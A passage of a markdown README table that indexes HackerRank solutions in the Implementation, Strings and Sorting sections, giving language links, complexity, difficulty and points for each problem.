<ul><li>[Java](./Algorithms/Implementation/Divisible%20Sum%20Pairs/Solution.java)</li><li>[C#](./Algorithms/Implementation/Divisible%20Sum%20Pairs/Solution.cs)</li><ul> | _O(n^2)_ | _O(1)_ | Easy| 10| || | | [Birthday Chocolate](https://www.hackerrank.com/challenges/the-birthday-bar)| <ul><li>[Java](./Algorithms/Implementation/Birthday%20Chocolate/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Birthday%20Chocolate/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 10| || | | [Breaking the Records](https://www.hackerrank.com/challenges/breaking-best-and-worst-records)| <ul><li>[Java](./Algorithms/Implementation/Breaking%20the%20Records/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Breaking%20the%20Records/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 10| || | | [Migratory Birds](https://www.hackerrank.com/challenges/migratory-birds)| <ul><li>[Java](./Algorithms/Implementation/Migratory%20Birds/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Migratory%20Birds/Solution.js)</li><li>[C#](./Algorithms/Implementation/Migratory%20Birds/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 10| || | | [Day of the Programmer](https://www.hackerrank.com/challenges/day-of-the-programmer)| <ul><li>[Java](./Algorithms/Implementation/Day%20Of%20The%20Programmer/Solution.java)</li><li>[C#](./Algorithms/Implementation/Day%20Of%20The%20Programmer/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy| 15| || | | [Bon Appetit](https://www.hackerrank.com/challenges/bon-appetit)| <ul><li>[Java](./Algorithms/Implementation/Bon%20Appetit/Solution.java)</li><li>[C#](./Algorithms/Implementation/Bon%20Appetit/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 10| || | | [Sock Merchant](https://www.hackerrank.com/challenges/sock-merchant)| <ul><li>[Java](./Algorithms/Implementation/Sock%20Merchant/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Sock%20Merchant/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy| 10| || | | [Drawing Book](https://www.hackerrank.com/challenges/drawing-book)| <ul><li>[Java](./Algorithms/Implementation/Drawing%20Book/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Drawing%20Book/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy| 10| || | | [Counting Valleys](https://www.hackerrank.com/challenges/counting-valleys)| <ul><li>[Java](./Algorithms/Implementation/Counting%20Valleys/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Counting%20Valleys/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Counting%20Valleys/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 15| || | | [Cats and a Mouse](https://www.hackerrank.com/challenges/cats-and-a-mouse)| <ul><li>[Java](./Algorithms/Implementation/Cats%20and%20a%20Mouse/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Cats%20and%20a%20Mouse/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy| 15| || | | [Electronics Shop](https://www.hackerrank.com/challenges/electronics-shop)| <ul><li>[Java](./Algorithms/Implementation/Electronics%20Shop/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Electronics%20Shop/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Electronics%20Shop/Solution.cs)</li><ul> | _O(n log (n))_ | _O(1)_ | Easy| 15| n = m+n|| | | [Picking Numbers](https://www.hackerrank.com/challenges/picking-numbers)| <ul><li>[Java](./Algorithms/Implementation/Picking%20Numbers/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Picking%20Numbers/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy| 20| || | | [Climbing the Leaderboard](https://www.hackerrank.com/challenges/climbing-the-leaderboard)| <ul><li>[Java](./Algorithms/Implementation/Climbing%20the%20Leaderboard/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Climbing%20the%20Leaderboard/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Climbing%20the%20Leaderboard/Solution.cs)</li><ul> | _O(n+m)_ | _(n)_ | Easy| 20| || | | [The Hurdle Race](https://www.hackerrank.com/challenges/the-hurdle-race)| <ul><li>[Java](./Algorithms/Implementation/The%20Hurdle%20Race/Solution.java)</li> <li>[C#](./Algorithms/Implementation/The%20Hurdle%20Race/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 15| || | | [Designer PDF Viewer](https://www.hackerrank.com/challenges/designer-pdf-viewer)| <ul><li>[Java](./Algorithms/Implementation/Designer%20PDF%20Viewer/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Designer%20PDF%20Viewer/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Designer%20PDF%20Viewer/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy| 20| || | | [Forming a Magic Square](https://www.hackerrank.com/challenges/magic-square-forming)| <ul><li>[Java](./Algorithms/Implementation/Forming%20a%20Magic%20Square/Solution.java)</li><ul> | _O(1)_ | _O(1)_ | Easy| 20| || | | [Utopian Tree](https://www.hackerrank.com/challenges/utopian-tree)| <ul><li>[Java](./Algorithms/Implementation/Utopian%20Tree/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Utopian%20Tree/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Utopian%20Tree/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Angry Professor](https://www.hackerrank.com/challenges/angry-professor)| <ul><li>[Java](./Algorithms/Implementation/Angry%20Professor/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Angry%20Professor/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Angry%20Professor/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Beautiful Days at the Movies](https://www.hackerrank.com/challenges/beautiful-days-at-the-movies)| <ul><li>[Java](./Algorithms/Implementation/Beautiful%20Days%20at%20the%20Movies/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Beautiful%20Days%20at%20the%20Movies/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Beautiful%20Days%20at%20the%20Movies/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 15| || | | [Viral Advertising](https://www.hackerrank.com/challenges/strange-advertising)| <ul><li>[Java](./Algorithms/Implementation/Viral%20Advertising/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Viral%20Advertising/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Viral%20Advertising/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 15| || | | [Save the Prisoner!](https://www.hackerrank.com/challenges/save-the-prisoner)| <ul><li>[Java](./Algorithms/Implementation/Save%20the%20Prisoner!/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Save%20the%20Prisoner!/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy | 15| || | | [Circular Array Rotation](https://www.hackerrank.com/challenges/circular-array-rotation)| <ul><li>[Java](./Algorithms/Implementation/Circular%20Array%20Rotation/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Circular%20Array%20Rotation/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Sequence Equation](https://www.hackerrank.com/challenges/permutation-equation)| <ul><li>[Java](./Algorithms/Implementation/Sequence%20Equation/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Sequence%20Equation/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Jumping on the Clouds: Revisited](https://www.hackerrank.com/challenges/jumping-on-the-clouds-revisited)| <ul><li>[Java](./Algorithms/Implementation/Jumping%20on%20the%20Clouds-%20Revisited/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Jumping%20on%20the%20Clouds-%20Revisited/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 15| || | | [Find Digits](https://www.hackerrank.com/challenges/find-digits)| <ul><li>[Java](./Algorithms/Implementation/Find%20Digits/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Find%20Digits/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 25| || | | [Extra Long Factorials](https://www.hackerrank.com/challenges/extra-long-factorials)| <ul><li>[Java](./Algorithms/Implementation/Extra%20Long%20Factorials/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Extra%20Long%20Factorials/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Medium | 20| || | | [Append and Delete](https://www.hackerrank.com/challenges/append-and-delete)| <ul><li>[Java](./Algorithms/Implementation/Append%20and%20Delete/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Sherlock and Squares](https://www.hackerrank.com/challenges/sherlock-and-squares)| <ul><li>[Java](./Algorithms/Implementation/Sherlock%20and%20Squares/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Library Fine](https://www.hackerrank.com/challenges/library-fine)| <ul><li>[Java](./Algorithms/Implementation/Library%20Fine/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Library%20Fine/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy| 15| || | | [Cut the sticks](https://www.hackerrank.com/challenges/cut-the-sticks)| <ul><li>[Java](./Algorithms/Implementation/Cut%20the%20sticks/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Cut%20the%20sticks/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Easy | 25| || | | [Non-Divisible Subset](https://www.hackerrank.com/challenges/non-divisible-subset)| <ul><li>[Java](./Algorithms/Implementation/Non-Divisible%20Subset/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Medium | 20| || | | [Repeated String](https://www.hackerrank.com/challenges/repeated-string)| <ul><li>[Java](./Algorithms/Implementation/Repeated%20String/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Repeated%20String/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Jumping on the Clouds](https://www.hackerrank.com/challenges/jumping-on-the-clouds)| <ul><li>[Java](./Algorithms/Implementation/Jumping%20on%20the%20Clouds/Solution.java)</li><li>[C#](./Algorithms/Implementation/Jumping%20on%20the%20Clouds/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Equalize the Array](https://www.hackerrank.com/challenges/equality-in-a-array)| <ul><li>[Java](./Algorithms/Implementation/Equalize%20the%20Array/Solution.java)</li><li>[C#](./Algorithms/Implementation/Equalize%20the%20Array/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Queen's Attack II](https://www.hackerrank.com/challenges/queens-attack-2)| <ul><li>[Java](./Algorithms/Implementation/Queen's%20Attack%20II/Solution.java)</li><ul> | _O(k)_ | _O(1)_ | Medium | 30| || | | [ACM ICPC Team](https://www.hackerrank.com/challenges/acm-icpc-team)| <ul><li>[Java](./Algorithms/Implementation/ACM%20ICPC%20Team/Solution.java)</li><ul> | _O(n^3)_ | _O(n)_ | Easy | 25| || | | [Taum and B'day](https://www.hackerrank.com/challenges/taum-and-bday)| <ul><li>[Java](./Algorithms/Implementation/Taum%20and%20B'day/Solution.java)</li><li>[C#](./Algorithms/Implementation/Taum%20and%20B'day/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy | 25| || | | [Organizing Containers of Balls](https://www.hackerrank.com/challenges/organizing-containers-of-balls)| <ul><li>[Java](./Algorithms/Implementation/Organizing%20Containers%20of%20Balls/Solution.java)</li><ul> | _O(n^2)_ | _O(n^2)_ | Medium | 30| || | | [Encryption](https://www.hackerrank.com/challenges/encryption)| <ul><li>[Java](./Algorithms/Implementation/Encryption/Solution.java)</li><li>[C#](./Algorithms/Implementation/Encryption/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Medium | 30| || | | [Bigger is Greater](https://www.hackerrank.com/challenges/bigger-is-greater)| <ul><li>[Java](./Algorithms/Implementation/Bigger%20is%20Greater/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Medium | 35| || | | [Modified Kaprekar Numbers](https://www.hackerrank.com/challenges/kaprekar-numbers)| <ul><li>[Java](./Algorithms/Implementation/Modified%20Kaprekar%20Numbers/Solution.java)</li><li>[C#](./Algorithms/Implementation/Modified%20Kaprekar%20Numbers/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30| || | | [Minimum Distances](https://www.hackerrank.com/challenges/minimum-distances)| <ul><li>[Java](./Algorithms/Implementation/Minimum%20Distances/Solution.java)</li><li>[C#](./Algorithms/Implementation/Minimum%20Distances/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Beautiful Triplets](https://www.hackerrank.com/challenges/beautiful-triplets)| <ul><li>[Java](./Algorithms/Implementation/Beautiful%20Triplets/Solution.java)</li><li>[C#](./Algorithms/Implementation/Beautiful%20Triplets/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Strings: Making Anagrams](https://www.hackerrank.com/challenges/ctci-making-anagrams)| <ul><li>[Java](./Algorithms/Implementation/Strings%20Making%20Anagrams/Solution.java)</li><ul> | _O(&#124;a&#124;+&#124;b&#124;)_ | _O(1)_ | Easy | 30| || | | [The Time in Words](https://www.hackerrank.com/challenges/the-time-in-words)| <ul><li>[Java](./Algorithms/Implementation/The%20Time%20in%20Words/Solution.java)</li><li>[C#](./Algorithms/Implementation/The%20Time%20in%20Words/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Medium | 25| || | | [Chocolate Feast](https://www.hackerrank.com/challenges/chocolate-feast)| <ul><li>[Java](./Algorithms/Implementation/Chocolate%20Feast/Solution.java)</li><li>[C#](./Algorithms/Implementation/Chocolate%20Feast/Solution.cs)</li><ul> | _O(log(n))_ | _O(1)_ | Easy | 25| Base of logarithmic time complexity is m || | | [Service Lane](https://www.hackerrank.com/challenges/service-lane)| <ul><li>[Java](./Algorithms/Implementation/Service%20Lane/Solution.java)</li><li>[C#](./Algorithms/Implementation/Service%20Lane/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Lisa's Workbook](https://www.hackerrank.com/challenges/lisa-workbook)| <ul><li>[Java](./Algorithms/Implementation/Lisa's%20Workbook/Solution.java)</li><li>[C#](./Algorithms/Implementation/Lisa's%20Workbook/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 25| || | | [Flatland Space Stations](https://www.hackerrank.com/challenges/flatland-space-stations)| <ul><li>[Java](./Algorithms/Implementation/Flatland%20Space%20Stations/Solution.java)</li><li>[C#](./Algorithms/Implementation/Flatland%20Space%20Stations/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 25| || | | [Fair Rations](https://www.hackerrank.com/challenges/fair-rations)| <ul><li>[Java](./Algorithms/Implementation/Fair%20Rations/Solution.java)</li><li>[C#](./Algorithms/Implementation/Fair%20Rations/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 25| || | | [Cavity Map](https://www.hackerrank.com/challenges/cavity-map)| <ul><li>[Java](./Algorithms/Implementation/Cavity%20Map/Solution.java)</li><li>[C#](./Algorithms/Implementation/Cavity%20Map/Solution.cs)</li><ul> | _O(n^2)_ | _O(n^2)_ | Easy | 30| || | | [Manasa and Stones](https://www.hackerrank.com/challenges/manasa-and-stones)| <ul><li>[Java](./Algorithms/Implementation/Manasa%20and%20Stones/Solution.java)</li><li>[C#](./Algorithms/Implementation/Manasa%20and%20Stones/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30| || | | [The Grid Search](https://www.hackerrank.com/challenges/the-grid-search)| <ul><li>[Java](./Algorithms/Implementation/The%20Grid%20Search/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Medium | 30| n = len(word)|| | | [Happy Ladybugs](https://www.hackerrank.com/challenges/happy-ladybugs)| <ul><li>[Java](./Algorithms/Implementation/Happy%20Ladybugs/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Easy | 30| || | | [Strange Counter](https://www.hackerrank.com/challenges/strange-code)| <ul><li>[Java](./Algorithms/Implementation/Strange%20Counter/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30| n = t || | | [Absolute Permuation](https://www.hackerrank.com/challenges/absolute-permutation)| <ul><li>[Java](./Algorithms/Implementation/Absolute%20Permuation/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Medium | 40| || | | [The Bomberman Game](https://www.hackerrank.com/challenges/bomber-man)| <ul><li>[Java](./Algorithms/Implementation/The%20Bomberman%20Game/Solution.java)</li><ul> | _O(n*m)_ | _O(n*m)_ | Medium | 40| || | | [Ema's Supercomputer](https://www.hackerrank.com/challenges/two-pluses)| <ul><li>Java</li></ul> | | | Medium | 40| || | | [Larry's Array](https://www.hackerrank.com/challenges/larrys-array)| <ul><li>Java</li></ul> | | | Medium | 40| || | | [Almost Sorted](https://www.hackerrank.com/challenges/almost-sorted)| <ul><li>Java</li></ul> | | | Medium | 50| || | | [Matrix Layer Rotation](https://www.hackerrank.com/challenges/matrix-rotation-algo)| <ul><li>[Python3](./Algorithms/Implementation/Matrix%20Layer%20Rotation/Solution.py3)</li><ul> | _O(n*m)_ | _O(n*m)_ | Hard | 80| || | | [Consecutive 1s in Binary Numbers](https://www.hackerrank.com/challenges/linkedin-practice-binary-numbers)| <ul><li>[Java](./Algorithms/Implementation/Consecutive%201s%20in%20Binary%20Numbers/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30| || | | [Nested Logic](https://www.hackerrank.com/challenges/linkedin-practice-nested-logic)| <ul><li>[Java](./Algorithms/Implementation/Nested%20Logic/Solution.java)</li><ul> | _O(1)_ | _O(1)_ | Easy | 40| || | | [Bitwise AND](https://www.hackerrank.com/challenges/linkedin-practice-bitwise-and)| <ul><li>[Java](./Algorithms/Implementation/Bitwise%20AND/Solution.java)</li><ul> | _O(1)_ | _O(1)_ | Easy | 20| || ### Strings | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Super Reduced String](https://www.hackerrank.com/challenges/reduced-string)| <ul><li>[Java](./Algorithms/Strings/Super%20Reduced%20String/Solution.java)</li><li>[C#](./Algorithms/Strings/Super%20Reduced%20String/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 10| || | | [camelCase](https://www.hackerrank.com/challenges/camelcase)| <ul><li>[Java](./Algorithms/Strings/camelCase/Solution.java)</li><li>[C#](./Algorithms/Strings/camelCase/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 15| || | | [Strong Password](https://www.hackerrank.com/challenges/strong-password)| <ul><li>[C#](./Algorithms/Strings/Strong%20Password/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 15| || | | [Two Characters](https://www.hackerrank.com/challenges/two-characters)| <ul><li>[Java](./Algorithms/Strings/Two%20Characters/Solution.java)</li><li>[C#](./Algorithms/Strings/Two%20Characters/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy| 15| || | | [Caesar Cipher](https://www.hackerrank.com/challenges/caesar-cipher-1)| <ul><li>[Java](./Algorithms/Strings/Caesar%20Cipher/Solution.java)</li><li>[C#](./Algorithms/Strings/Caesar%20Cipher/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 15| || | | [Caesar Cipher: Encryption](https://www.hackerrank.com/challenges/linkedin-practice-caesar-cipher)| <ul><li>[Java](./Algorithms/Strings/Caesar%20Cipher%20Encryption/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Easy | 40 | || | | [Mars Exploration](https://www.hackerrank.com/challenges/mars-exploration)| <ul><li>[Java](./Algorithms/Strings/Mars%20Exploration/Solution.java)</li><li>[C#](./Algorithms/Strings/Mars%20Exploration/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 15| || | | [HackerRank in a String!](https://www.hackerrank.com/challenges/hackerrank-in-a-string)| <ul><li>[Java](./Algorithms/Strings/HackerRank%20in%20a20String!/Solution.java)</li> <li>[JS](./Algorithms/Strings/HackerRank%20in%20a20String!/Solution.js)</li><li>[C#](./Algorithms/Strings/HackerRank%20in%20a20String!/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Pangrams](https://www.hackerrank.com/challenges/pangrams)| <ul><li>[Java](./Algorithms/Strings/Pangrams/Solution.java)</li><li>[C#](./Algorithms/Strings/Pangrams/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Weighted Uniform Strings](https://www.hackerrank.com/challenges/weighted-uniform-string)| <ul><li>[Java](./Algorithms/Strings/Weighted%20Uniform%20Strings/Solution.java)</li><li>[C#](./Algorithms/Strings/Weighted%20Uniform%20Strings/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Separate the Numbers](https://www.hackerrank.com/challenges/separate-the-numbers)| <ul><li>Java</li><li>[C#](./Algorithms/Strings/Separate%20the%20Numbers/Solution.cs)</li></ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Funny String](https://www.hackerrank.com/challenges/funny-string)| <ul><li>[Java](./Algorithms/Strings/Funny%20String/Solution.java)</li><li>[C#](./Algorithms/Strings/Funny%20String/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 25| || | | [Gemstones](https://www.hackerrank.com/challenges/gem-stones)| <ul><li>[Java](./Algorithms/Strings/Gemstones/Solution.java)</li><li>[C#](./Algorithms/Strings/Gemstones/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Alternating Characters](https://www.hackerrank.com/challenges/alternating-characters)| <ul><li>[Java](./Algorithms/Strings/Alternating%20Characters/Solution.java)</li><li>[C#](./Algorithms/Strings/Alternating%20Characters/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Beautiful Binary String](https://www.hackerrank.com/challenges/beautiful-binary-string)| <ul><li>[Java](./Algorithms/Strings/Beautiful%20Binary%20String/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [The Love-Letter Mystery](https://www.hackerrank.com/challenges/the-love-letter-mystery)| <ul><li>[Java](./Algorithms/Strings/The%20Love-Letter%20Mystery/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Determining DNA Health](https://www.hackerrank.com/challenges/determining-dna-health)| <ul><li>Java</li></ul> | | | Hard | 50| || | | [Palindrome Index](https://www.hackerrank.com/challenges/palindrome-index)| <ul><li>[Java](./Algorithms/Strings/Palindrome%20Index/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 25| || | | [Anagram](https://www.hackerrank.com/challenges/anagram)| <ul><li>[Java](./Algorithms/Strings/Anagram/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 25| || | | [Making Anagrams](https://www.hackerrank.com/challenges/making-anagrams)| <ul><li>[Java](./Algorithms/Strings/Making%20Anagrams/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Easy | 30| || | | [Game of Thrones - I](https://www.hackerrank.com/challenges/game-of-thrones)| <ul><li>[Java](./Algorithms/Strings/Game%20of%20Thrones-I/Solution.java)</li><li>[C#](./Algorithms/Strings/Game%20of%20Thrones-I/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30| || | | [Two Strings](https://www.hackerrank.com/challenges/two-strings)| <ul><li>[Java](./Algorithms/Strings/Two%20Strings/Solution.java)</li><li>[C#](./Algorithms/Strings/Two%20Strings/Solution.cs)</li><ul> | _O(&#124;a&#124; + &#124;b&#124;)_ | _O(1)_ | Easy | 25| a and b are lengths of the input strings || | | [String Construction](https://www.hackerrank.com/challenges/string-construction)| <ul><li>[Java](./Algorithms/Strings/String%20Construction/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Easy | 25| || | | [Sherlock and Valid String](https://www.hackerrank.com/challenges/sherlock-and-valid-string)| <ul><li>[Java](./Algorithms/Strings/Sherlock%20and%20Valid%20String/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Hard | 100| || | | [Richie Rich](https://www.hackerrank.com/challenges/richie-rich)| <ul><li>Java</li> <li>[Python3](./Algorithms/Strings/Richie%20Rich/solution.py)</li><ul> | _O(n)_ | _O(n)_ | Medium | 30| || | | [Sherlock and Anagrams](https://www.hackerrank.com/challenges/sherlock-and-anagrams)| <ul><li>Java</li></ul> | | | Medium | 50| || | | [Common Child](https://www.hackerrank.com/challenges/common-child)| <ul><li>Java</li></ul> | | | Hard | 60| || | | [Bear and Steady Gene](https://www.hackerrank.com/challenges/bear-and-steady-gene)| <ul><li>Java</li></ul> | | | Medium | 50| || | | [Morgan and a String](https://www.hackerrank.com/challenges/morgan-and-a-string)| <ul><li>[Java](./Algorithms/Strings/Morgan%20and%20a%20String/Solution.java)</li><ul> | _O((&#124;a&#124;+&#124;b&#124;)^2)_ | _O(&#124;a&#124; + &#124;b&#124;)_ | Expert | 100| || | | [Count Strings](https://www.hackerrank.com/challenges/count-strings)| <ul><li>Java</li></ul> | | | Hard | 80| || | | [String Function Calculation](https://www.hackerrank.com/challenges/string-function-calculation)| <ul><li>Java</li></ul> | | | Advanced | 80| || | | [Build a Palindrome](https://www.hackerrank.com/challenges/challenging-palindromes)| <ul><li>Java</li></ul> | | | Advanced | 80| || | | [Build a String](https://www.hackerrank.com/challenges/build-a-string)| <ul><li>Java</li></ul> | | | Hard | 80| || | | [Gridland Provinces](https://www.hackerrank.com/challenges/gridland-provinces)| <ul><li>Java</li></ul> | | | Hard | 80| || | | [Ashton and String](https://www.hackerrank.com/challenges/ashton-and-string)| <ul><li>Java</li></ul> | | | Advanced | 100| || | | [String Similarity](https://www.hackerrank.com/challenges/string-similarity)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [Super Functional Strings](https://www.hackerrank.com/challenges/super-functional-strings)| <ul><li>Java</li></ul> | | | Advanced | 80| || | | [Circular Palindromes](https://www.hackerrank.com/challenges/circular-palindromes)| <ul><li>Java</li></ul> | | | Advanced | 120| || | | [Similar Strings](https://www.hackerrank.com/challenges/similar-strings)| <ul><li>Java</li></ul> | | | Advanced | 85| || | | [Save Humanity](https://www.hackerrank.com/challenges/save-humanity)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [Find Strings](https://www.hackerrank.com/challenges/find-strings)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [Palindromic Border](https://www.hackerrank.com/challenges/palindromic-border)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [Two Two](https://www.hackerrank.com/challenges/two-two)| <ul><li>Java</li></ul> | | | Advanced | 150| || | | [Two Strings Game](https://www.hackerrank.com/challenges/two-strings-game)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [Letter Islands](https://www.hackerrank.com/challenges/letter-islands)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [Pseudo-Isomorphic Substrings](https://www.hackerrank.com/challenges/pseudo-isomorphic-substrings)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [How Many Substrings?](https://www.hackerrank.com/challenges/how-many-substrings)| <ul><li>Java</li></ul> | | | Expert | 100| || ### Sorting | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Intro to Tutorial Challenges](https://www.hackerrank.com/challenges/tutorial-intro)| <ul><li>[Java](./Algorithms/Sorting/Intro%20to%20Tutorial%20Challenges/Solution.java)</li><li>[C#](./Algorithms/Sorting/Intro%20to%20Tutorial%20Challenges/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30| || | | [Insertion Sort - Part 1](https://www.hackerrank.com/challenges/insertionsort1)| <ul><li>[Java](./Algorithms/Sorting/Insertion%20Sort%20-%20Part%201/Solution.java)</li><li>[C#](./Algorithms/Sorting/Insertion%20Sort%20-%20Part%201/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30 | || | | [Insertion Sort - Part 2](https://www.hackerrank.com/challenges/insertionsort2)| <ul><li>[Java](./Algorithms/Sorting/Insertion%20Sort%20-%20Part%202/Solution.java)</li><li>[C#](./Algorithms/Sorting/Insertion%20Sort%20-%20Part%202/Solution.cs)</li><ul> | _O(n^2)_ | _O(1)_ | Easy | 30 | || | | [Correctness and the Loop Invariant](https://www.hackerrank.com/challenges/correctness-invariant)| <ul><li>[Java](./Algorithms/Sorting/Correctness%20and%20the%20Loop%20Invariant/Solution.java)</li><li>[C#](./Algorithms/Sorting/Correctness%20and%20the%20Loop%20Invariant/Solution.cs)</li><ul> | _O(n^2)_ | _O(1)_ | Easy | 30 | || | | [Running Time of Algorithms](https://www.hackerrank.com/challenges/runningtime)| <ul><li>[Java](./Algorithms/Sorting/Running%20Time%20of%20Algorithms/Solution.java)</li><li>[C#](./Algorithms/Sorting/Running%20Time%20of%20Algorithms/Solution.cs)</li><ul> | _O(n^2)_ | _O(1)_ | Easy | 30 | || | | [Quicksort 1 - Partition](https://www.hackerrank.com/challenges/quicksort1)| <ul><li>[Java](./Algorithms/Sorting/Quicksort%201%20-%20Partition/Solution.java)</li><li>[C#](./Algorithms/Sorting/Quicksort%201%20-%20Partition/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 10| || | | [Quicksort 2 - Sorting](https://www.hackerrank.com/challenges/quicksort2)| <ul><li>[Java](./Algorithms/Sorting/Quicksort%202%20-%20Sorting/Solution.java)</li><li>[C#](./Algorithms/Sorting/Quicksort%202%20-%20Sorting/Solution.cs)</li><ul> | _O(n^2)_ | _O(n)_ | Easy | 30| || | | [Quicksort In-Place](https://www.hackerrank.com/challenges/quicksort3)| <ul><li>[Java](./Algorithms/Sorting/Quicksort%20In-Place/Solution.java)</li><ul> | _O(n^2)_ | _O(log(n))_ | Medium| 35| || | | [Running Time of 